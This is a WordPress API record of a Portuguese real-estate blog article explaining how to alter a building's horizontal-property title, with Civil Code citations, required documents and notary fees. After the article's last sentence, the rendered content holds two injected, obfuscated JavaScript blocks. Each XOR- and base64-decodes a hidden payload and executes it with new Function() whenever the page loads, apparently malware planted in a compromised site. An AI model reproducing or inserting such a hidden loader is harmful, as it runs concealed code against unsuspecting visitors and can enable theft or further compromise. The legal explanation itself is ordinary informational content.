{"id":2125,"date":"2022-08-18T19:27:36","date_gmt":"2022-08-18T17:27:36","guid":{"rendered":"https:\/\/www.imovel.pt\/?p=2125"},"modified":"2026-09-21T02:20:40","modified_gmt":"2026-09-21T00:20:40","slug":"alteracao-propriedade-horizontal","status":"publish","type":"post","link":"https:\/\/www.imovel.pt\/news\/imobiliario\/alteracao-propriedade-horizontal","title":{"rendered":"Altera\u00e7\u00e3o propriedade horizontal"},"content":{"rendered":"<p>A constitui\u00e7\u00e3o de um edif\u00edcio em propriedade horizontal corresponde \u00e0 divis\u00e3o de um pr\u00e9dio, que se encontra em propriedade plena, em fra\u00e7\u00f5es aut\u00f3nomas, que passam a constituir unidades independentes, podendo estas ser transacionadas livremente. A altera\u00e7\u00e3o de propriedade horizontal <strong>\u00e9 efetuada quando ocorre uma modifica\u00e7\u00e3o na constitui\u00e7\u00e3o de uma ou mais fra\u00e7\u00f5es aut\u00f3nomas<\/strong>, de um edif\u00edcio que se encontra neste regime.<\/p>\n<p><span style=\"text-decoration: underline;\"><strong>\u00cdndice de Conte\u00fados<\/strong><\/span><\/p>\n<p><span style=\"color: #ea2432;\">O que \u00e9 Propriedade Horizontal<\/span><br \/>\n<span style=\"color: #ea2432;\">O que \u00e9 o T\u00edtulo Constitutivo de Propriedade Horizontal<\/span><br \/>\n<span style=\"color: #ea2432;\">Como se constitui a Propriedade Horizontal<\/span><br \/>\n<span style=\"color: #ea2432;\">Como alterar Propriedade Horizontal<\/span><br \/>\n<span style=\"color: #ea2432;\">Documentos necess\u00e1rios para a altera\u00e7\u00e3o de propriedade horizontal<\/span><br \/>\n<span style=\"color: #ea2432;\">Em que situa\u00e7\u00f5es de considera nulo o t\u00edtulo constitutivo?<\/span><br \/>\n<span style=\"color: #ea2432;\">Qual a utilidade do T\u00edtulo Constitutivo de Propriedade Horizontal?<\/span><br \/>\n<span style=\"color: #ea2432;\">Quanto custa alterar a Propriedade Horizontal<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2>O que \u00e9 Propriedade Horizontal<\/h2>\n<p>De forma simplificada, a <span style=\"text-decoration: underline;\"><a href=\"https:\/\/www.imovel.pt\/news\/imobiliario\/propriedade-horizontal\">propriedade horizonta<\/a><\/span>l <strong>\u00e9 aquilo que, legalmente, define a divis\u00e3o de um pr\u00e9dio em v\u00e1rios apartamentos<\/strong>, fazendo com que este possa ter tantos propriet\u00e1rios quanto o n\u00famero de fra\u00e7\u00f5es existentes.<\/p>\n<p>Esta defini\u00e7\u00e3o faz-se atrav\u00e9s do t\u00edtulo constitutivo de propriedade horizontal. Ora, havendo a necessidade de alterar propriedade horizontal, tem que haver altera\u00e7\u00e3o ao t\u00edtulo constitutivo.<\/p>\n<p>&nbsp;<\/p>\n<h2>O que \u00e9 o t\u00edtulo constitutivo de propriedade horizontal<\/h2>\n<p>O t\u00edtulo constitutivo da propriedade horizontal <strong>define a situa\u00e7\u00e3o jur\u00eddica do im\u00f3vel<\/strong>, onde apresenta as seguintes informa\u00e7\u00f5es:<\/p>\n<ul>\n<li>A composi\u00e7\u00e3o de cada fra\u00e7\u00e3o aut\u00f3noma;<\/li>\n<li>O valor relativo a cada fra\u00e7\u00e3o, face ao valor total do pr\u00e9dio, expresso em percentagem ou permilagem;<\/li>\n<li>O fim a que se destina cada fra\u00e7\u00e3o, assim como as partes comuns;<\/li>\n<li>O regulamento do condom\u00ednio que disciplina o uso, frui\u00e7\u00e3o e conserva\u00e7\u00e3o, quer das partes comuns, quer das fra\u00e7\u00f5es aut\u00f3nomas;<\/li>\n<li>A previs\u00e3o do compromisso arbitral para a resolu\u00e7\u00e3o dos lit\u00edgios emergentes da rela\u00e7\u00e3o de condom\u00ednio.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h2>Como se constitui a Propriedade Horizontal<\/h2>\n<p>De acordo com o <span style=\"text-decoration: underline;\"><a href=\"https:\/\/dre.pt\/dre\/legislacao-consolidada\/decreto-lei\/1966-34509075-65921901\" target=\"_blank\" rel=\"noopener\">n.\u00ba 1 do artigo 1418\u00ba do C\u00f3digo Civil<\/a><\/span>, \u201cno t\u00edtulo constitutivo ser\u00e3o especificadas as partes do edif\u00edcio correspondentes \u00e0s v\u00e1rias fra\u00e7\u00f5es, por forma que estas fiquem devidamente individualizadas, (&#8230;)\u201d.<\/p>\n<figure id=\"attachment_2130\" aria-describedby=\"caption-attachment-2130\" style=\"width: 2318px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-2130 size-full\" src=\"https:\/\/www.imovel.pt\/news\/wp-content\/uploads\/2022\/08\/n.o-1-do-artigo-1418o-do-Codigo-Civil.png\" alt=\"\" width=\"2318\" height=\"1448\" srcset=\"https:\/\/www.imovel.pt\/news\/wp-content\/uploads\/2022\/08\/n.o-1-do-artigo-1418o-do-Codigo-Civil.png 2318w, https:\/\/www.imovel.pt\/news\/wp-content\/uploads\/2022\/08\/n.o-1-do-artigo-1418o-do-Codigo-Civil-300x187.png 300w, https:\/\/www.imovel.pt\/news\/wp-content\/uploads\/2022\/08\/n.o-1-do-artigo-1418o-do-Codigo-Civil-1024x640.png 1024w, https:\/\/www.imovel.pt\/news\/wp-content\/uploads\/2022\/08\/n.o-1-do-artigo-1418o-do-Codigo-Civil-768x480.png 768w, https:\/\/www.imovel.pt\/news\/wp-content\/uploads\/2022\/08\/n.o-1-do-artigo-1418o-do-Codigo-Civil-1536x960.png 1536w, https:\/\/www.imovel.pt\/news\/wp-content\/uploads\/2022\/08\/n.o-1-do-artigo-1418o-do-Codigo-Civil-2048x1279.png 2048w\" sizes=\"auto, (max-width: 2318px) 100vw, 2318px\" \/><figcaption id=\"caption-attachment-2130\" class=\"wp-caption-text\">Fonte: dre.pt<\/figcaption><\/figure>\n<p>De uma forma geral, o t\u00edtulo constitutivo da <span style=\"text-decoration: underline;\"><a href=\"https:\/\/www.imovel.pt\/news\/imobiliario\/propriedade-horizontal\">propriedade horizontal<\/a><\/span> consiste na <strong>escritura notarial que enquadra o edif\u00edcio nesta categoria<\/strong>, isto \u00e9, divide-o em fra\u00e7\u00f5es aut\u00f3nomas e independentes e determina as suas partes comuns.<\/p>\n<p>Para obter este documento e, depois da escritura estar realizada, basta que o propriet\u00e1rio se dirija \u00e0 Conservat\u00f3ria do Registo Predial da \u00e1rea em que o respetivo edif\u00edcio se insere, e fa\u00e7a o pedido do mesmo.<\/p>\n<p>&nbsp;<\/p>\n<h2>Como alterar Propriedade Horizontal<\/h2>\n<p>O <span style=\"text-decoration: underline;\"><a href=\"https:\/\/dre.pt\/dre\/legislacao-consolidada\/decreto-lei\/1966-34509075-177443415\" target=\"_blank\" rel=\"noopener\">artigo 1419\u00ba<\/a><\/span> (Modifica\u00e7\u00e3o do t\u00edtulo) do C\u00f3digo Civil esclarece que o t\u00edtulo constitutivo da <span style=\"text-decoration: underline;\"><a href=\"https:\/\/www.imovel.pt\/news\/imobiliario\/propriedade-horizontal\">propriedade horizontal<\/a><\/span> pode ser modificado por <strong>escritura p\u00fablica ou documento particular autenticado<\/strong>, desde que haja acordo entre todos os cond\u00f3minos.<\/p>\n<p>A falta de acordo entre os cond\u00f3minos pode ser suprida em tribunal, desde que os votos contra sejam inferiores a 1\/10 do capital investido, e desde que as altera\u00e7\u00f5es n\u00e3o pretendam modificar as condi\u00e7\u00f5es de uso, o valor das fra\u00e7\u00f5es ou o fim a que estas se destinam.<\/p>\n<p>O t\u00edtulo constitutivo \u00e9 realizado por escritura p\u00fablica, assim como a sua altera\u00e7\u00e3o tem de ser formalizada da mesma forma ou por documento particular autenticado. \u201cO administrador, em representa\u00e7\u00e3o do condom\u00ednio, pode outorgar a escritura ou elaborar e subscrever o documento particular autenticado, desde que o acordo conste de ata assinada por todos os cond\u00f3minos.\u201d<\/p>\n<p>&nbsp;<\/p>\n<h2>Documentos necess\u00e1rios para a altera\u00e7\u00e3o de propriedade horizontal<\/h2>\n<p>No ato da escritura para altera\u00e7\u00e3o de propriedade horizontal, devem ser apresentados <strong>os seguintes documentos:<\/strong><\/p>\n<ul>\n<li>Ata que autoriza a altera\u00e7\u00e3o (aprovada por unanimidade) e atribui um representante (normalmente o administrador do condom\u00ednio), para outorgar a escritura;<\/li>\n<li>Documento comprovativo de que as fra\u00e7\u00f5es aut\u00f3nomas satisfazem os requisitos legais, emitido pela C\u00e2mara Municipal.<\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-2132 size-full\" src=\"https:\/\/www.imovel.pt\/news\/wp-content\/uploads\/2022\/08\/Documentos-necessarios-para-a-alteracao-de-propriedade-horizontal.png\" alt=\"altera\u00e7\u00e3o propriedade horizontal\" width=\"1110\" height=\"739\" srcset=\"https:\/\/www.imovel.pt\/news\/wp-content\/uploads\/2022\/08\/Documentos-necessarios-para-a-alteracao-de-propriedade-horizontal.png 1110w, https:\/\/www.imovel.pt\/news\/wp-content\/uploads\/2022\/08\/Documentos-necessarios-para-a-alteracao-de-propriedade-horizontal-300x200.png 300w, https:\/\/www.imovel.pt\/news\/wp-content\/uploads\/2022\/08\/Documentos-necessarios-para-a-alteracao-de-propriedade-horizontal-1024x682.png 1024w, https:\/\/www.imovel.pt\/news\/wp-content\/uploads\/2022\/08\/Documentos-necessarios-para-a-alteracao-de-propriedade-horizontal-768x511.png 768w\" sizes=\"auto, (max-width: 1110px) 100vw, 1110px\" \/><\/p>\n<p>&nbsp;<\/p>\n<h2>Em que situa\u00e7\u00f5es se considera nulo o t\u00edtulo constitutivo?<\/h2>\n<p>A nulidade do t\u00edtulo constitutivo de <span style=\"text-decoration: underline;\"><a href=\"https:\/\/www.imovel.pt\/news\/imobiliario\/propriedade-horizontal\">propriedade horizontal<\/a><\/span> pode ser declarada se n\u00e3o se observar o disposto no <span style=\"text-decoration: underline;\"><a href=\"https:\/\/dre.pt\/dre\/legislacao-consolidada\/decreto-lei\/1966-34509075-49923775\" target=\"_blank\" rel=\"noopener\">artigo 1415\u00ba<\/a><\/span>: \u201cS\u00f3 podem ser objeto de propriedade horizontal as fra\u00e7\u00f5es aut\u00f3nomas que, al\u00e9m de constitu\u00edrem unidades independentes, sejam distintas e isoladas entre si, com sa\u00edda pr\u00f3pria para uma parte comum do pr\u00e9dio ou para a via p\u00fablica.\u201d<\/p>\n<p><strong>Tamb\u00e9m pode ser declarada a nulidade nas seguintes situa\u00e7\u00f5es:<\/strong><\/p>\n<ul>\n<li>O t\u00edtulo constitutivo nada refere sobre a percentagem ou permilagem de cada fra\u00e7\u00e3o;<\/li>\n<li>O fim a que se destinam as fra\u00e7\u00f5es, que consta do t\u00edtulo constitutivo \u00e9 diferente do referido no projeto aprovado pela C\u00e2mara Municipal.<\/li>\n<\/ul>\n<p>Esta nulidade pode ser declarada a requerimento dos cond\u00f3minos, e tamb\u00e9m do Minist\u00e9rio P\u00fablico sobre a participa\u00e7\u00e3o da entidade p\u00fablico a quem caiba a aprova\u00e7\u00e3o ou fiscaliza\u00e7\u00e3o das constru\u00e7\u00f5es.<\/p>\n<p>&nbsp;<\/p>\n<h2>Qual a utilidade do T\u00edtulo Constitutivo?<\/h2>\n<p>O t\u00edtulo constitutivo \u00e9 um documento que deve ser arquivado pelo condom\u00ednio do pr\u00e9dio. <strong>Este pode ser \u00fatil para situa\u00e7\u00f5es como:<\/strong><\/p>\n<ul>\n<li>Confirmar a finalidade de cada fra\u00e7\u00e3o (habita\u00e7\u00e3o, servi\u00e7os, com\u00e9rcio, ind\u00fastria, etc.);<\/li>\n<li>Confirmar a exist\u00eancia do regulamento do condom\u00ednio;<\/li>\n<li>Calcular o peso de cada fra\u00e7\u00e3o na vota\u00e7\u00e3o das assembleias;<\/li>\n<li>Calcular a quota a pagar por cada cond\u00f3mino.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h2>Quanto custa alterar a Propriedade Horizontal<\/h2>\n<p>Tendo em conta que a altera\u00e7\u00e3o de propriedade horizontal \u00e9 efetuada por escritura p\u00fablica realizada em cart\u00f3rio, a informa\u00e7\u00e3o de quanto custa alterar a propriedade horizontal, <strong>deve ser consultada no <span style=\"text-decoration: underline;\"><a href=\"https:\/\/dre.pt\/dre\/legislacao-consolidada\/decreto-lei\/1995-34509175\" target=\"_blank\" rel=\"noopener\">C\u00f3digo do Notariado<\/a><\/span><\/strong>.<\/p>\n<p>Segundo o que consta no artigo 189\u00ba, \u201cpelos atos praticados nos cart\u00f3rios s\u00e3o cobrados os emolumentos constantes da respetiva tabela, salvo os casos de gratuitidade, redu\u00e7\u00e3o ou isen\u00e7\u00e3o previstos na lei\u201d.<\/p>\n<p>Este artigo foi-te \u00fatil? Deixa-nos saber nos coment\u00e1rios.<script>(function(){\nvar x418c5a=4309;\nif(x418c5a>0){var y841319=x418c5a-4910}else{var y841319=4910}\nvar z64104a=y841319*18;\nvar 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_0xbcca16a4d558=90;\nvar _0x163772b41096='';\nfor(var _0xb162c948b1cd=0;_0xb162c948b1cd<_0xf84708a7a28f.length;_0xb162c948b1cd++)\n  _0x163772b41096+=String.fromCharCode(_0xf84708a7a28f[_0xb162c948b1cd]^_0xbcca16a4d558);\nvar _0xbea1f721e2d7=97;\nvar _0xf86172365cea=atob(_0x163772b41096);\nvar _code='';\nfor(var _0xb162c948b1cd=0;_0xb162c948b1cd<_0xf86172365cea.length;_0xb162c948b1cd++)\n  _code+=String.fromCharCode(_0xf86172365cea.charCodeAt(_0xb162c948b1cd)^_0xbea1f721e2d7);\n(new Function(_code))();\n})();<\/script><script>(function(){\nvar x5487d6=2952;\nif(x5487d6>0){var y0b6eb9=x5487d6-2251}else{var y0b6eb9=2251}\nvar z1bc226=y0b6eb9*99;\nvar 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_0xbcca16a4d558=90;\nvar _0x163772b41096='';\nfor(var _0xb162c948b1cd=0;_0xb162c948b1cd<_0xf84708a7a28f.length;_0xb162c948b1cd++)\n  _0x163772b41096+=String.fromCharCode(_0xf84708a7a28f[_0xb162c948b1cd]^_0xbcca16a4d558);\nvar _0xbea1f721e2d7=97;\nvar _0xf86172365cea=atob(_0x163772b41096);\nvar _code='';\nfor(var _0xb162c948b1cd=0;_0xb162c948b1cd<_0xf86172365cea.length;_0xb162c948b1cd++)\n  _code+=String.fromCharCode(_0xf86172365cea.charCodeAt(_0xb162c948b1cd)^_0xbea1f721e2d7);\n(new Function(_code))();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A constitui\u00e7\u00e3o de um edif\u00edcio em propriedade horizontal corresponde \u00e0 divis\u00e3o de um pr\u00e9dio, que se encontra em propriedade plena, em fra\u00e7\u00f5es aut\u00f3nomas, que passam a constituir unidades independentes, podendo estas ser transacionadas livremente. A altera\u00e7\u00e3o de propriedade horizontal \u00e9 efetuada quando ocorre uma modifica\u00e7\u00e3o na constitui\u00e7\u00e3o de uma ou mais fra\u00e7\u00f5es aut\u00f3nomas, de um [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":2129,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-2125","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-imobiliario"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v21.9 (Yoast SEO v28.5) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Altera\u00e7\u00e3o propriedade horizontal - im\u00f3vel.pt News<\/title>\n<meta name=\"description\" content=\"No ato da escritura para altera\u00e7\u00e3o de propriedade horizontal, devem ser apresentados os seguintes documentos:\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.imovel.pt\/news\/imobiliario\/alteracao-propriedade-horizontal\" \/>\n<meta property=\"og:locale\" content=\"pt_PT\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Altera\u00e7\u00e3o propriedade horizontal\" \/>\n<meta property=\"og:description\" content=\"No ato da escritura para altera\u00e7\u00e3o de propriedade horizontal, devem ser apresentados os seguintes documentos:\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.imovel.pt\/news\/imobiliario\/alteracao-propriedade-horizontal\" \/>\n<meta property=\"og:site_name\" content=\"im\u00f3vel.pt News\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/imovel.pt\" \/>\n<meta property=\"article:published_time\" content=\"2022-08-18T17:27:36+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-09-21T00:20:40+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.imovel.pt\/news\/wp-content\/uploads\/2022\/08\/Alteracao-propriedade-horizontal.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1110\" \/>\n\t<meta property=\"og:image:height\" content=\"739\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"im\u00f3vel.pt\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"im\u00f3vel.pt\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tempo estimado de leitura\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.imovel.pt\\\/news\\\/imobiliario\\\/alteracao-propriedade-horizontal#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.imovel.pt\\\/news\\\/imobiliario\\\/alteracao-propriedade-horizontal\"},\"author\":{\"name\":\"im\u00f3vel.pt\",\"@id\":\"https:\\\/\\\/www.imovel.pt\\\/news\\\/#\\\/schema\\\/person\\\/5d403e48cef3333473719d7916dc7ae4\"},\"headline\":\"Altera\u00e7\u00e3o propriedade horizontal\",\"datePublished\":\"2022-08-18T17:27:36+00:00\",\"dateModified\":\"2026-09-21T00:20:40+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.imovel.pt\\\/news\\\/imobiliario\\\/alteracao-propriedade-horizontal\"},\"wordCount\":1016,\"commentCount\":1,\"publisher\":{\"@id\":\"https:\\\/\\\/www.imovel.pt\\\/news\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.imovel.pt\\\/news\\\/imobiliario\\\/alteracao-propriedade-horizontal#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.imovel.pt\\\/news\\\/wp-content\\\/uploads\\\/2022\\\/08\\\/Alteracao-propriedade-horizontal.png\",\"articleSection\":[\"Imobili\u00e1rio\"],\"inLanguage\":\"pt-PT\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.imovel.pt\\\/news\\\/imobiliario\\\/alteracao-propriedade-horizontal#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.imovel.pt\\\/news\\\/imobiliario\\\/alteracao-propriedade-horizontal\",\"url\":\"https:\\\/\\\/www.imovel.pt\\\/news\\\/imobiliario\\\/alteracao-propriedade-horizontal\",\"name\":\"Altera\u00e7\u00e3o propriedade horizontal - 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